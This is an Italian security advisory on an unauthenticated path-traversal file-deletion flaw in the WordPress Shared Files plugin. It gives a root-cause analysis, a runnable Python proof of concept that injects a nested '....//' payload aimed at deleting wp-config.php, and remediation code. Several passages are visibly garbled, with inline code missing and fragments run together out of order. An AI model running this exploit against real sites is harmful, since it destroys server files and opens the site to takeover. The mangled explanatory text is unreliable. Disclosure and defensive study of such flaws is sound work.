
Advisory tecnico e proof-of-concept per CVE-2026-12513, una cancellazione arbitraria di file non autenticata tramite path traversal nel plugin WordPress Shared Files, inclusa l'analisi della causa principale e le indicazioni di remediation.
CVE-2026-12513 è una vulnerabilità di Eliminazione Arbitraria di File non autenticata tramite Path Traversal che colpisce i plugin WordPress Shared Files e Shared Files Pro prima della versione 1.7.68, scoperta e analizzata dal ricercatore di cybersecurity Huynh Kien Minh (MinhHK). Il difetto si verifica nelle routine di elaborazione delle submission di file frontend del plugin, dove i percorsi file forniti dall'utente vengono filtrati utilizzando una sostituzione di pattern di traversal a singolo passaggio difettosa che può essere bypassata utilizzando sequenze annidate (come ). Di conseguenza, un attaccante remoto non autenticato può inviare un percorso manipolato che punta al di fuori della directory di upload prevista per colpire asset critici del server, incluso . Quando un amministratore successivamente elimina o rimuove definitivamente la voce caricata, l'applicazione invoca primitive di eliminazione del filesystem () sul percorso arbitrario memorizzato. Ciò comporta la distruzione dei file di configurazione principali di WordPress, innescando un grave Denial of Service e consentendo il takeover del sito tramite la procedura di installazione non configurata. Il ricercatore principale Huynh Kien Minh ha valutato questa vulnerabilità con punteggio CVSS 3.1 6.8 Medium (CWE-73 / CWE-22), raccomandando aggiornamenti immediati del plugin alla versione 1.7.68 o successiva e una robusta validazione del percorso canonico.
....//wp-config.phpunlink()Link Rapidi: Esplora il Portfolio di Cybersecurity ufficiale del ricercatore o consulta l'Advisory Verificata WPScan.
| Parametro | Specifica Tecnica |
|---|---|
| Identificatore Vulnerabilità | CVE-2026-12513 |
| Software Target | Shared Files / Shared Files Pro (Plugin WordPress) |
| Slug del Plugin | shared-files, shared-files-pro |
| Versioni Vulnerabili | < 1.7.68 |
| Versione Correttiva | >= 1.7.68 |
| Classe di Vulnerabilità | Controllo Esterno del Nome File o del Percorso / Path Traversal (CWE-73 / CWE-22) |
| Punteggio CVSS v3.1 | 6.8 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Scopritore / Ricercatore | Huynh Kien Minh (MinhHK) |
| Autorità di Verifica | WPScan / MITRE Corporation |
| Riferimento Advisory WPScan | Rapporto WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Portfolio del Ricercatore | https://minhhk.web.app/ |
La vulnerabilità è radicata in un meccanismo di sanificazione del percorso inadeguato implementato nei gestori di submission di file frontend in Shared Files (< 1.7.68).
Quando accetta submission di file frontend, il plugin tentava di rimuovere le sequenze di traversal di directory (../) utilizzando una sostituzione di stringa a singolo passaggio:
// Filtro di sanificazione a singolo passaggio insicuro in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Poiché str_replace() viene eseguito solo una volta da sinistra a destra:
....//....//....//wp-config.php../ viene rimosso una volta da ....//, i caratteri esterni si ricompattano per formare ../:
....// -> ../../../../../wp-config.php!wp_posts o in una tabella personalizzata del plugin)./wp-admin/admin.php?page=shared-files, il backend chiama unlink() sul percorso memorizzato risolto:// Logica di eliminazione vulnerabile
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Attiva l'eliminazione del file target (ad es. /var/www/html/wp-config.php)
}
wp-config.php:
/wp-admin/install.php).Disclaimer Etico: Questo Proof-of-Concept è fornito strettamente per ricerca educativa, validazione difensiva e audit di sicurezza secondo protocolli di divulgazione etica di Huynh Kien Minh.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 o successiva.wp-config.php siano di sola lettura (chmod 400 o 440) per il processo del server web.Applica una rigorosa risoluzione del percorso canonico utilizzando realpath() e wp_normalize_path() per garantire che le operazioni rimangano all'interno del confine di upload designato:
// Modello di Validazione del Percorso Sicuro (Versione 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Assicurarsi che il realpath risolto inizi strettamente con la directory base designata
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) è un Ricercatore di Sicurezza Informatica specializzato in ricerca sulle vulnerabilità di WordPress, audit di sicurezza di core e plugin, e modellazione difensiva degli exploit.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}